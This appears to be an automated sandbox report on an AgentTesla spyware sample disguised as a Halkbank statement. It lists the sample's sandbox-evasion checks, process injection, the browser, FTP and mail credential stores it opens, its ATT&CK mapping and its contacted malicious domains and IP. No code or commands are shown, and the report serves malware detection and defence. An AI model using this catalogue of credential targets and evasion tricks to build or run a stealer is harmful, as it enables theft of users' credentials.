                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX

                      Malware Analysis System Evasion:

                      barindex
                      Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)Show sources
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)Show sources
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeThread delayed: delay time: 922337203685477
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWindow / User API: threadDelayed 9003
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWindow / User API: threadDelayed 846
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe TID: 2724Thread sleep time: -19369081277395017s >= -30000s
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe TID: 2188Thread sleep count: 9003 > 30
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe TID: 2188Thread sleep count: 846 > 30
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00404A29 FindFirstFileExW,
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000003.477281323.0000000006618000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information queried: ProcessInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012EE0CF LdrInitializeThunk,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00EC8A1C _memset,IsDebuggerPresent,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00EC6A00 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00CFF40D mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00CFE9B6 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00CFF2C5 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00CFF262 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00CFF225 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_004035F1 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00EC6A00 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00EC6B80 GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapAlloc,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess token adjusted: Debug
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ECC0A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ECC080 SetUnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00401E1D SetUnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_0040446F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00401C88 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00401F30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ECC0A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ECC080 SetUnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeMemory allocated: page read and write | page guard

                      HIPS / PFW / Operating System Protection Evasion:

                      barindex
                      Maps a DLL or memory area into another processShow sources
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeSection loaded: unknown target: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe protection: execute and read and write
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmpBinary or memory string: uProgram Manager
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmpBinary or memory string: Progman
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625144838.0000000001860000.00000002.00000001.sdmpBinary or memory string: Progmanlock
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ECD7B7 cpuid
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ECFC48 GetSystemTimeAsFileTime,GetCurrentThreadId,GetTickCount64,QueryPerformanceCounter,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

                      Stealing of Sensitive Information:

                      barindex
                      Yara detected AgentTeslaShow sources
                      Source: Yara matchFile source: 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.624730399.0000000001209000.00000004.00000020.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128, type: MEMORY
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.raw.unpack, type: UNPACKEDPE
                      Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)Show sources
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
                      Tries to harvest and steal browser information (history, passwords, etc)Show sources
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
                      Tries to harvest and steal ftp login credentialsShow sources
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
                      Tries to steal Mail credentials (via file access)Show sources
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                      Source: Yara matchFile source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128, type: MEMORY

                      Remote Access Functionality:

                      barindex
                      Yara detected AgentTeslaShow sources
                      Source: Yara matchFile source: 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.624730399.0000000001209000.00000004.00000020.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128, type: MEMORY
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.raw.unpack, type: UNPACKEDPE

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid AccountsWindows Management Instrumentation211Path InterceptionProcess Injection112Disable or Modify Tools1OS Credential Dumping2System Time Discovery1Remote ServicesArchive Collected Data11Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                      Default AccountsNative API1Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDeobfuscate/Decode Files or Information11Credentials in Registry1File and Directory Discovery1Remote Desktop ProtocolData from Local System2Exfiltration Over BluetoothNon-Standard Port1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsCommand and Scripting Interpreter2Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information2Security Account ManagerSystem Information Discovery125SMB/Windows Admin SharesEmail Collection1Automated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Software Packing1NTDSSecurity Software Discovery141Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol111SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptMasquerading1LSA SecretsVirtualization/Sandbox Evasion13SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.commonVirtualization/Sandbox Evasion13Cached Domain CredentialsProcess Discovery2VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup ItemsProcess Injection112DCSyncApplication Window Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemRemote System Discovery1Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      Halkbank_Ekstre_20210113_162325_384771.exe36%VirustotalBrowse
                      Halkbank_Ekstre_20210113_162325_384771.exe45%ReversingLabsWin32.Trojan.AgentTesla
                      Halkbank_Ekstre_20210113_162325_384771.exe100%AviraTR/ATRAPS.Gen
                      Halkbank_Ekstre_20210113_162325_384771.exe100%Joe Sandbox ML

                      Dropped Files

                      No Antivirus matches

                      Unpacked PE Files

                      SourceDetectionScannerLabelLinkDownload
                      0.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack100%AviraTR/ATRAPS.GenDownload File
                      1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack100%AviraTR/Spy.Gen8Download File
                      1.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack100%AviraTR/ATRAPS.GenDownload File
                      1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack100%AviraTR/Spy.Gen8Download File
                      0.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack100%AviraTR/ATRAPS.GenDownload File
                      1.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.1.unpack100%AviraTR/ATRAPS.GenDownload File

                      Domains

                      SourceDetectionScannerLabelLink
                      ceotech.com.tr0%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      http://FStglU.com0%Avira URL Cloudsafe
                      http://ceotech.com.tr0%Avira URL Cloudsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                      http://mail.ceotech.com.tr0%Avira URL Cloudsafe
                      http://2cRhONggGD4U87PUSY.com0%Avira URL Cloudsafe
                      http://2cRhONggGD4U87PUSY.comt0%Avira URL Cloudsafe

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      ceotech.com.tr
                      109.232.220.251
                      truetrueunknown
                      mail.ceotech.com.tr
                      unknown
                      unknowntrue
                        unknown

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        http://2cRhONggGD4U87PUSY.comtrue
                        • Avira URL Cloud: safe
                        unknown

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://127.0.0.1:HTTP/1.1Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        low
                        http://DynDns.comDynDNSHalkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%haHalkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        http://FStglU.comHalkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://ceotech.com.trHalkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zipHalkbank_Ekstre_20210113_162325_384771.exefalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        http://mail.ceotech.com.trHalkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://2cRhONggGD4U87PUSY.comtHalkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown

                        Contacted IPs

                        • No. of IPs < 25%
                        • 25% < No. of IPs < 50%
                        • 50% < No. of IPs < 75%
                        • 75% < No. of IPs

                        Public

                        IPDomainCountryFlagASNASN NameMalicious
                        109.232.220.251
                        unknownTurkey
                        42807AEROTEK-ASTRtrue

                        General Information

                        Joe Sandbox Version:31.0.0 Red Diamond
                        Analysis ID:339368
                        Start date:13.01.2021
                        Start time:21:45:38
                        Joe Sandbox Product:CloudBasic
                        Overall analysis duration:0h 8m 10s
                        Hypervisor based Inspection enabled:false
                        Report type:light
                        Sample file name:Halkbank_Ekstre_20210113_162325_384771.exe
                        Cookbook file name:default.jbs
                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                        Number of analysed new started processes analysed:13
                        Number of new started drivers analysed:0
                        Number of existing processes analysed:0
                        Number of existing drivers analysed:0
                        Number of injected processes analysed:0
                        Technologies:
                        • HCA enabled
                        • EGA enabled
                        • HDC enabled
                        • AMSI enabled
                        Analysis Mode:default
                        Analysis stop reason:Timeout
                        Detection:MAL
                        Classification:mal100.troj.spyw.evad.winEXE@3/1@2/1
                        EGA Information:Failed
                        HDC Information:
                        • Successful, ratio: 28.2% (good quality ratio 26.4%)
                        • Quality average: 78.6%
                        • Quality standard deviation: 30%
                        HCA Information:
                        • Successful, ratio: 94%
                        • Number of executed functions: 0
                        • Number of non-executed functions: 0
                        Cookbook Comments:
                        • Adjust boot time
                        • Enable AMSI
                        • Found application associated with file extension: .exe
                        Warnings:
                        Show All
                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                        • Excluded IPs from analysis (whitelisted): 40.88.32.150, 13.88.21.125, 104.42.151.234, 23.210.248.85, 104.43.139.144, 2.20.142.209, 2.20.142.210, 8.248.149.254, 8.253.95.249, 8.253.204.121, 67.26.75.254, 67.26.137.254
                        • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, fs.microsoft.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, skypedataprdcoleus15.cloudapp.net, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, prod.fs.microsoft.com.akadns.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net, au-bg-shim.trafficmanager.net
                        • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                        • Report size getting too big, too many NtOpenKeyEx calls found.
                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                        • Report size getting too big, too many NtQueryValueKey calls found.

                        Simulations

                        Behavior and APIs

                        TimeTypeDescription
                        21:46:47API Interceptor1076x Sleep call for process: Halkbank_Ekstre_20210113_162325_384771.exe modified

                        Joe Sandbox View / Context

                        IPs

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        109.232.220.25163Label_00000192672.doc.jsGet hashmaliciousBrowse
                        • ozgurwebtasarim.com/counter/?id=555D5C5E0D0A020B240A05120D1710054A070B095E225E071014034A11175E17525E5550515C5451535555515E55&rnd=2812563
                        63Label_00000192672.doc.jsGet hashmaliciousBrowse
                        • ozgurwebtasarim.com/counter/?id=555D5C5E0D0A020B240A05120D1710054A070B095E225E071014034A11175E17525E5550515C5451535555515E55&rnd=2812563

                        Domains

                        No context

                        ASN

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        AEROTEK-ASTRZwFwevQtlv.exeGet hashmaliciousBrowse
                        • 37.230.106.15
                        ssDV3d9O9o.exeGet hashmaliciousBrowse
                        • 37.230.106.15
                        wjSwL3KItA.exeGet hashmaliciousBrowse
                        • 37.230.106.15
